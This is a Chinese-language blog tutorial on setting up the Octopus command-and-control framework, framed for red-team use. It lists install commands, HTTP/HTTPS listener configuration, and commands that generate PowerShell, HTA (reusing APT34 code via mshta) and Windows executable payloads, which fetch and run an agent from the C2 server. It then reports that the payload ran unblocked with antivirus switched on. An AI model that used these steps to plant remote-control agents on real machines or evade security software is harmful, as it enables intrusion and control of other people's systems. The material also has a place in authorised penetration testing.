【工具使用】強大的紅隊武器Octopus「吊打」殺軟
- 2020 年 3 月 6 日
- 筆記

前言
Octopus是基於python3的開源項目,可進行操作的C2伺服器,可以通過HTTP / S控制Octopus powershell代理。
創建Octopus的主要目的是要在任何紅隊作戰之前使用,而無需開始與您的整個作戰武庫和基礎設施接觸,您可以先使用八達通來攻擊目標並收集資訊,然後再開始實際的紅隊作戰而無需使您的實際基礎架構面臨風險!
Octopus旨在與C2進行通訊時隱秘而隱秘,因為它在Powershell代理和C2伺服器之間的加密通道默認使用AES-256。您還可以通過為您的域提供有效的證書並配置Octopus C2伺服器以使用它來選擇使用SSL / TLS。
Octopus中的一項很酷的功能稱為ESA,它表示「端點態勢感知」,它將收集有關目標的一些重要資訊,這些資訊將幫助您更好地了解您在操作過程中將面對的目標網路端點。您可以根據此資訊自定義您的實際操作。
0x01安裝
使用以下命令就可直接把程式碼從github上下載到本地,我這裡網路問題,我直接傳了一份到kali上了(需要程式碼可github下載或後台回復006)
git clone https://github.com/mhaskar/Octopus.git

下面我們需要使用pip來安裝幾個python3的庫,我這裡網路有問題,所以源使用的是阿里雲的源。
python3 -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

系統上還需要安裝mono,以確保可以編譯C#源程式碼而不會出現問題,我這裡是已經安裝過了。
apt install mono-devel

啟動
Python3 octopus.py

0x02操作方法
使用help可查詢出所有的命令及解釋

如果英文不好可以直接用Google翻譯直接翻譯一下,其實命令很少也很簡單。

下面我們一個命令一個命令來看。
List:列出所有已經連接的機器。

當有數據的時候是這樣的

Delete:刪除一個會話
刪除一個會話:
delete 1

Listeners:列出所有的監聽器
列出所有的監聽器命令:listeners

有數據的情況下是這樣的

Delete_listener:刪除一個監聽器
刪除一個監聽器:
dalete_listener test

Listen_http:http監聽器配置
查看命令所需的參數及解釋:listen_http

listen_http BindIP BindPort hostname interval URL listener_name 監聽器ip 監聽器埠 主機名 間隔時間 頁面url 監聽器名稱
啟動一個http監聽器:
listen_http BindIP BindPort hostname interval URL listener_name
官方給的兩個案例,一個為有域名,一個為沒有域名
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
我們先看以域名來啟動監聽器:
listen_http 0.0.0.0 8022 seraph.xxx 5 page test1

由於我是內網環境,所以我改了hosts文件,我們已經能夠成功打開

以IP來啟動的方法和上面一樣,只需要將seraph.xxx域名替換為IP即可
listen_http 0.0.0.0 8033 192.168.0.194 5 page2.php test2

Listen_https:https監聽器配置
https監聽器的配置和http差不多隻不過多了個證書和私鑰

我由於是本地操作所以生成了一個自簽名的證書

啟動https監聽器:
listen_https 0.0.0.0 443 seraph.xxx 5 page.php test1 /root/ssl/ca.crt /root/ssl/server.pem

啟動成功

我們可以使用以下方法生成載荷:
Powershell one-liner
HTA one-liner (reused from APT34)
Windows executable (exe file)
Generate_powershell:生成一個powershell載荷(前提是需要一個監聽器)
powershell單行程式碼將使您能夠生成powershell命令,該命令可直接從C2下載並執行有效負載。
您可以使用命令「 generate_powershell」生成powershell程式碼,如下所示:
generate_powershell test

裡面有三條命令,大家可以隨便測試,我這運行裡面添加我們的命令,點擊確定會直接執行powershell命令。

Octopus裡面會發現已經上線了

我們可以查看一下進程,powershell確實在後台運行。

Generate_hta:生成一個HTA載荷(必須有一個監聽器)方法大致和powershell生成方法一樣。
由於使用了@ahmedkhlief,他可以重用APT34威脅組中的程式碼,該威脅組從C2下載HTA文件內容並使用mshta.exe受信任的Windows二進位文件運行,以獲取最終的Powershell代理已執行。
您可以使用以下命令「 generate_hta」生成HTA:
generate_hta test

具體怎麼操作使用就看各位大佬自行發揮。
Generate_exe:生成windows可執行文件
Octopus可以使用mono-project將C#代理編譯為可執行文件,從而為您構建一個隨時可用的Windows可執行文件(exe文件)。
Octopus使用一種稱為「非託管Powershell」的技術來執行powershell腳本,而無需接觸powershell.exe二進位文件,這可以幫助您避免對powershell.exe的任何限制。
Octopus將使用「 System.Management.Automation.dll」文件編譯C#程式碼,然後使用「 PowerShell」對象啟動Powershell程式碼執行。
二進位文件本身非常乾淨且未被發現,當然它仍在開發中,因此,請等待此功能的更多更新,然後再考慮在野外使用它!
您可以使用命令「 generate_exe」生成exe文件,如下所示:
generate_exe test /root/test.exe

會生成一個可執行文件

我們下載到windows上測試一下(這裡有個坑,需要.net4.0才能運行)
運行之後窗口也是一閃而過,然後就有個session回來了,我本地的火絨也沒攔它……….

Interact:選擇一個會話進行交互
選擇會話交互:interact 2
如果要執行系統命令可以直接輸入

自動收集資訊:report

另外Octopus提供了多種交互的操作,各位大佬可以自行測試

0x03模擬實戰
開啟殺軟,運行載荷,並沒攔截!!!


